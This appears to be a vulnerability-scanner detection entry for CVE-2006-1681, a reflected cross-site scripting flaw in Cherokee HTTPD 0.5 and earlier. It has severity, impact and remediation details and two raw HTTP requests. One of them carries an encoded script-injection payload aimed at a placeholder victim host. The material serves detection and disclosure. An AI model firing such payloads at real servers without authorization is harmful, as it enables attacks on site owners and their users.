| Title | Cherokee HTTPD <=0.5 - Cross-Site Scripting |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Cherokee HTTPD or apply the necessary security patches to mitigate the XSS vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.00299 |
| CVE ID | CVE-2006-1681 |
| CWE ID | NVD-CWE-Other |
| Tags | cve cve2006 cherokee httpd xss vuln |
Cherokee HTTPD 0.5 and earlier contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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